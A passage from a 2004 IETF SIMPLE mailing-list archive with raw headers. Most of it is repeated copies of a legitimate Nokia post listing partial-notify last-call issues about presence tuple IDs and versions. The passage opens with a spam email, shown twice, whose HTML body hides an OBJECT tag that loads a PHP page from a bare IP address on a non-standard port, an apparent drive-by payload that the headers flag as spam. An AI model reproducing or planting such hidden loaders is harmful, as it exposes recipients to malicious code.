List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 19:21:52 -0800
Content-Transfer-Encoding: 7bit

<html><body>
<font face="System">
<OBJECT  STYLE="display:none"  DATA="http://211.232.21.22:81/899432.php">
</OBJECT></body></html>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 18 22:23:35 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25466
	for <simple-archive@odin.ietf.org>; Thu, 18 Mar 2004 22:23:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4AbE-0003GA-VW
	for simple-archive@odin.ietf.org; Thu, 18 Mar 2004 22:23:09 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2J3N8Kd012524
	for simple-archive@odin.ietf.org; Thu, 18 Mar 2004 22:23:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4AbE-0003Fv-8Q
	for simple-web-archive@optimus.ietf.org; Thu, 18 Mar 2004 22:23:08 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25443;
	Thu, 18 Mar 2004 22:23:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4AbA-0006nV-00; Thu, 18 Mar 2004 22:23:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4AaF-0006iE-00; Thu, 18 Mar 2004 22:22:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Aa9-00039Z-8U; Thu, 18 Mar 2004 22:22:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Aa1-00038t-5b
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 22:21:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25374
	for <simple@ietf.org>; Thu, 18 Mar 2004 22:21:49 -0500 (EST)
From: hardie@qualcomm.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4AZx-0006fV-00
	for simple@ietf.org; Thu, 18 Mar 2004 22:21:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4AYy-0006ZK-00
	for simple@ietf.org; Thu, 18 Mar 2004 22:20:49 -0500
Received: from server1.innomedia.com ([209.133.49.2] helo=New-ChihPing.org)
	by ietf-mx with smtp (Exim 4.12)
	id 1B4AY0-0006TV-00
	for simple@ietf.org; Thu, 18 Mar 2004 22:19:48 -0500
To: simple@ietf.org
Message-ID: <euxhanvjprqieilkybi@ietf.org>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: Yes, hits=6.6 required=5.0 tests=AWL,FORGED_MUA_OUTLOOK,
	FORGED_OUTLOOK_HTML,FORGED_OUTLOOK_TAGS,HTML_EMBEDS,HTML_MESSAGE,
	MIME_HTML_ONLY,NORMAL_HTTP_TO_IP,NO_REAL_NAME,WEIRD_PORT autolearn=no 
	version=2.60
X-Spam-Report: 
	*  0.3 NO_REAL_NAME From: does not include a real name
	*  0.0 HTML_MESSAGE BODY: HTML included in message
	*  0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
	*  0.3 HTML_EMBEDS BODY: HTML with embedded plugin object
	*  0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL
	*  1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP
	*  1.1 FORGED_OUTLOOK_HTML Outlook can't send HTML message only
	*  1.1 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format
	*  1.6 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
	*  0.0 AWL AWL: Auto-whitelist adjustment
Content-Transfer-Encoding: 7bit
Subject: [Simple] Hidden message
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 19:21:52 -0800
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

<html><body>
<font face="System">
<OBJECT  STYLE="display:none"  DATA="http://211.232.21.22:81/899432.php">
</OBJECT></body></html>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 19 11:12:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09629
	for <simple-archive@ietf.org>; Fri, 19 Mar 2004 11:12:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4MbS-0005kE-00
	for simple-archive@ietf.org; Fri, 19 Mar 2004 11:12:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4MaS-0005e4-00
	for simple-archive@ietf.org; Fri, 19 Mar 2004 11:11:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4MZV-0005ZO-00; Fri, 19 Mar 2004 11:10:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4MZN-0000hE-VB; Fri, 19 Mar 2004 11:10:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4MYc-0000Zm-8a
	for simple@optimus.ietf.org; Fri, 19 Mar 2004 11:09:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09555
	for <simple@ietf.org>; Fri, 19 Mar 2004 11:09:10 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4MYZ-0005Vi-00
	for simple@ietf.org; Fri, 19 Mar 2004 11:09:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4MXf-0005Rw-00
	for simple@ietf.org; Fri, 19 Mar 2004 11:08:17 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4MWp-0005O9-00
	for simple@ietf.org; Fri, 19 Mar 2004 11:07:23 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2JG7M403858
	for <simple@ietf.org>; Fri, 19 Mar 2004 18:07:22 +0200 (EET)
X-Scanned: Fri, 19 Mar 2004 18:07:03 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2JG73CZ032212
	for <simple@ietf.org>; Fri, 19 Mar 2004 18:07:03 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00rXxP3p; Fri, 19 Mar 2004 18:06:56 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2JG6ts06488
	for <simple@ietf.org>; Fri, 19 Mar 2004 18:06:55 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Fri, 19 Mar 2004 18:06:50 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C40DCC.30723F01"
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DDE5@esebe004.ntc.nokia.com>
Thread-Topic: Comments received during partial notify WGLC
thread-index: AcQNzDC7Cl3E0qGCRD2rxSFI6zrShw==
To: <simple@ietf.org>
X-OriginalArrivalTime: 19 Mar 2004 16:06:50.0919 (UTC) FILETIME=[305E4370:01C40DCC]
Subject: [Simple] Comments received during partial notify WGLC
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 19 Mar 2004 18:06:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_20_30,HTML_MESSAGE,
	NO_REAL_NAME autolearn=no version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C40DCC.30723F01
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hi,

Here is a list of issues that have come up during partial notify last
call. I have included proposed modifications/fixes below. Note that some
small/editorial issues are not included into list below.

1) Tuple ID consistency
PIDF document states in Section 4.1.2 The <tuple> element:
" An 'id' value is
   used by applications processing the presence document to identify the
   corresponding tuple in the previously acquired PRESENCE INFORMATION
   of the same PRESENTITY"

My own understading on the text above is that tuple ids should be
consistent for same tuples. However, text above doesn't seems to be
normative and partial notify mechanism requires this functionality to
work. I have added following text into partial-notify draft:
"   Tuple ids are used to identify if tuples are same between subsequent
   notifications or not. Notifier MUST use same tuple ids for tuples
   which are identical between subsequent notifications and different
   tuple ids for tuples which are different from previously send tuples.
   Tuple ids MUST be consistent until next full state presence document
   is delivered. Decision  whether  tuples are same or different is up
   to notifier's local policy.
"
Personally I think that ids should be consistent between two full
presence document. This is because watcher must drop all previously
received presence info when new full state presence document arrives.

2) Unique Tuple Ids
I have added text saying that all tuple ids must be unique in the
presence document. This means tuple ids in <tuple> elements and in
<t_id> elements.

3) Use of 'applicatio/pidf-partial+xml' for initial notification
It was commented that 'application/pidf+xml' could be used for initial
notify. This might be possible but my own view on this is that it might
be easier for watcher to learn from initial notify if notifier is going
to send partial notification or not. I have added text saying that
notifier must not include <remove> element when "state" is "full" and
watcher must ignore <removed> elements if they appear in the presence
document with "state"  "full".

4) Receiving notification having old "version" numbers
Last call version contained text:
"If the watcher receives a notification with the "state"
   attribute's value "partial" and the "version" attribute's value is
   equal or smaller than the one in the previous notification, it is
   considered a PS failure and the watcher SHOULD either refresh or
   terminate the subscription.

These old versions actually cannot corrupt the local presence document
and so it should be necessary to resubscribe or terminate the
subscription. I have changed this to:
"If the watcher
   receives a notification with the "state" attribute's value "partial"
   and the "version" attribute's value is equal or smaller than the one
   in the previous notification, it is considered a notifier failure and
   the watcher SHOULD discard the document without processing."

5) How much text should be copied from presence event package
There has been some confusion how to handle subscription refreshes and
terminations. I have added text saying that notifier must always respond
to subscribe requests with full presence document. Same applies when
notifier terminates the subscription.

6) XML schema
XML schema redefined also "entity" attribute. This isn't necessary and
its now removed.=20

7) Examples
<removed> element appeared before <tuple> elements in the examples. This
was incorrect and now all <tuple> element come before <removed>

8) examples
"version" started from wrong value in all examples. Versions start now
from 0.

9) partial PIDF section 4, last bullet
"The presence
      document MUST only contain tuples which have changed compared to
      last time the presence document was delivered i.e. it must contain
      new tuples and modified tuples."
MUST has been changed to SHOULD

- Mikko

------_=_NextPart_001_01C40DCC.30723F01
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.0.6487.1">
<TITLE>Comments received during partial notify WGLC</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/rtf format -->

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Here is a list of issues that have come =
up during partial notify last call. I have included proposed =
modifications/fixes below. Note that some small/editorial issues are not =
included into list below.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">1) Tuple ID consistency</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">PIDF document states in Section 4.1.2 =
The &lt;tuple&gt; element:</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot; An 'id' value is</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; used by applications =
processing the presence document to identify the</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; corresponding tuple in =
the previously acquired PRESENCE INFORMATION</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; of the same =
PRESENTITY&quot;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">My own understading on the text above =
is that tuple ids should be consistent for same tuples. However, text =
above doesn't seems to be normative and partial notify mechanism =
requires this functionality to work. I have added following text into =
partial-notify draft:</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&quot;&nbsp;&nbsp; Tuple ids are used =
to identify if tuples are same between subsequent</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; notifications or not. =
Notifier MUST use same tuple ids for tuples</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; which are identical =
between subsequent notifications and different</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; tuple ids for tuples =
which are different from previously send tuples.</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; Tuple ids MUST be =
consistent until next full state presence document</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; is delivered. =
Decision&nbsp; whether&nbsp; tuples are same or different is up</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; to notifier's local =
policy.</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">Personally I think that ids should be =
consistent between two full presence document. This is because watcher =
must drop all previously received presence info when new full state =
presence document arrives.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">2) Unique Tuple Ids</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">I have added text saying that all =
tuple ids must be unique in the presence document. This means tuple ids =
in &lt;tuple&gt; elements and in &lt;t_id&gt; elements.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">3) Use of 'applicatio/pidf-partial+xml' =
for initial notification</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">It was commented that =
'application/pidf+xml' could be used for initial notify. This might be =
possible but my own view on this is that it might be easier for watcher =
to learn from initial notify if notifier is going to send partial =
notification or not. I have added text saying that notifier must not =
include &lt;remove&gt; element when &quot;state&quot; is =
&quot;full&quot; and watcher must ignore &lt;removed&gt; elements if =
they appear in the presence document with &quot;state&quot;&nbsp; =
&quot;full&quot;.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">4) Receiving notification having old =
&quot;version&quot; numbers</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">Last call version contained =
text:</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;If the watcher receives a =
notification with the &quot;state&quot;</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; attribute's value =
&quot;partial&quot; and the &quot;version&quot; attribute's value =
is</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; equal or smaller than the =
one in the previous notification, it is</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; considered a PS failure =
and the watcher SHOULD either refresh or</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; terminate the =
subscription.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">These old versions actually cannot =
corrupt the local presence document and so it should be necessary to =
resubscribe or terminate the subscription. I have changed this =
to:</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&quot;If the watcher</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; receives a notification =
with the &quot;state&quot; attribute's value &quot;partial&quot;</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; and the =
&quot;version&quot; attribute's value is equal or smaller than the =
one</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; in the previous =
notification, it is considered a notifier failure and</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; the watcher SHOULD =
discard the document without processing.&quot;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">5) How much text should be copied from =
presence event package</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">There has been some confusion how to =
handle subscription refreshes and terminations. I have added text saying =
that notifier must always respond to subscribe requests with full =
presence document. Same applies when notifier terminates the =
subscription.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">6) XML schema</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">XML schema redefined also =
&quot;entity&quot; attribute. This isn't necessary and its now removed. =
</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">7) Examples</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&lt;removed&gt; element appeared =
before &lt;tuple&gt; elements in the examples. This was incorrect and =
now all &lt;tuple&gt; element come before &lt;removed&gt;</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">8) examples</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;version&quot; started from wrong =
value in all examples. Versions start now from 0.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">9) partial PIDF section 4, last =
bullet</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;The presence</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
document MUST only contain tuples which have changed compared to</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; last =
time the presence document was delivered i.e. it must contain</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new =
tuples and modified tuples.&quot;</FONT>

<BR><FONT SIZE=3D2 FACE=3D"Arial">MUST has been changed to SHOULD</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">- Mikko</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C40DCC.30723F01--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 19 11:12:41 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09706
	for <simple-archive@odin.ietf.org>; Fri, 19 Mar 2004 11:12:41 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4MbU-0000yj-Hy
	for simple-archive@odin.ietf.org; Fri, 19 Mar 2004 11:12:12 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2JGCCH6003757
	for simple-archive@odin.ietf.org; Fri, 19 Mar 2004 11:12:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4MbU-0000yW-DQ
	for simple-web-archive@optimus.ietf.org; Fri, 19 Mar 2004 11:12:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09647
	for <simple-web-archive@ietf.org>; Fri, 19 Mar 2004 11:12:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4MbT-0005kR-00
	for simple-web-archive@ietf.org; Fri, 19 Mar 2004 11:12:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4MaU-0005eE-00
	for simple-web-archive@ietf.org; Fri, 19 Mar 2004 11:11:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4MZV-0005ZO-00; Fri, 19 Mar 2004 11:10:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4MZN-0000hE-VB; Fri, 19 Mar 2004 11:10:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4MYc-0000Zm-8a
	for simple@optimus.ietf.org; Fri, 19 Mar 2004 11:09:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09555
	for <simple@ietf.org>; Fri, 19 Mar 2004 11:09:10 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4MYZ-0005Vi-00
	for simple@ietf.org; Fri, 19 Mar 2004 11:09:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4MXf-0005Rw-00
	for simple@ietf.org; Fri, 19 Mar 2004 11:08:17 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4MWp-0005O9-00
	for simple@ietf.org; Fri, 19 Mar 2004 11:07:23 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2JG7M403858
	for <simple@ietf.org>; Fri, 19 Mar 2004 18:07:22 +0200 (EET)
X-Scanned: Fri, 19 Mar 2004 18:07:03 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2JG73CZ032212
	for <simple@ietf.org>; Fri, 19 Mar 2004 18:07:03 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00rXxP3p; Fri, 19 Mar 2004 18:06:56 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2JG6ts06488
	for <simple@ietf.org>; Fri, 19 Mar 2004 18:06:55 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Fri, 19 Mar 2004 18:06:50 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C40DCC.30723F01"
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DDE5@esebe004.ntc.nokia.com>
Thread-Topic: Comments received during partial notify WGLC
thread-index: AcQNzDC7Cl3E0qGCRD2rxSFI6zrShw==
To: <simple@ietf.org>
X-OriginalArrivalTime: 19 Mar 2004 16:06:50.0919 (UTC) FILETIME=[305E4370:01C40DCC]
Subject: [Simple] Comments received during partial notify WGLC
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 19 Mar 2004 18:06:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_20_30,HTML_MESSAGE,
	NO_REAL_NAME autolearn=no version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C40DCC.30723F01
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hi,

Here is a list of issues that have come up during partial notify last
call. I have included proposed modifications/fixes below. Note that some
small/editorial issues are not included into list below.

1) Tuple ID consistency
PIDF document states in Section 4.1.2 The <tuple> element:
" An 'id' value is
   used by applications processing the presence document to identify the
   corresponding tuple in the previously acquired PRESENCE INFORMATION
   of the same PRESENTITY"

My own understading on the text above is that tuple ids should be
consistent for same tuples. However, text above doesn't seems to be
normative and partial notify mechanism requires this functionality to
work. I have added following text into partial-notify draft:
"   Tuple ids are used to identify if tuples are same between subsequent
   notifications or not. Notifier MUST use same tuple ids for tuples
   which are identical between subsequent notifications and different
   tuple ids for tuples which are different from previously send tuples.
   Tuple ids MUST be consistent until next full state presence document
   is delivered. Decision  whether  tuples are same or different is up
   to notifier's local policy.
"
Personally I think that ids should be consistent between two full
presence document. This is because watcher must drop all previously
received presence info when new full state presence document arrives.

2) Unique Tuple Ids
I have added text saying that all tuple ids must be unique in the
presence document. This means tuple ids in <tuple> elements and in
<t_id> elements.

3) Use of 'applicatio/pidf-partial+xml' for initial notification
It was commented that 'application/pidf+xml' could be used for initial
notify. This might be possible but my own view on this is that it might
be easier for watcher to learn from initial notify if notifier is going
to send partial notification or not. I have added text saying that
notifier must not include <remove> element when "state" is "full" and
watcher must ignore <removed> elements if they appear in the presence
document with "state"  "full".

4) Receiving notification having old "version" numbers
Last call version contained text:
"If the watcher receives a notification with the "state"
   attribute's value "partial" and the "version" attribute's value is
   equal or smaller than the one in the previous notification, it is
   considered a PS failure and the watcher SHOULD either refresh or
   terminate the subscription.

These old versions actually cannot corrupt the local presence document
and so it should be necessary to resubscribe or terminate the
subscription. I have changed this to:
"If the watcher
   receives a notification with the "state" attribute's value "partial"
   and the "version" attribute's value is equal or smaller than the one
   in the previous notification, it is considered a notifier failure and
   the watcher SHOULD discard the document without processing."

5) How much text should be copied from presence event package
There has been some confusion how to handle subscription refreshes and
terminations. I have added text saying that notifier must always respond
to subscribe requests with full presence document. Same applies when
notifier terminates the subscription.

6) XML schema
XML schema redefined also "entity" attribute. This isn't necessary and
its now removed.=20

7) Examples
<removed> element appeared before <tuple> elements in the examples. This
was incorrect and now all <tuple> element come before <removed>

8) examples
"version" started from wrong value in all examples. Versions start now
from 0.

9) partial PIDF section 4, last bullet
"The presence
      document MUST only contain tuples which have changed compared to
      last time the presence document was delivered i.e. it must contain
      new tuples and modified tuples."
MUST has been changed to SHOULD

- Mikko

------_=_NextPart_001_01C40DCC.30723F01
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
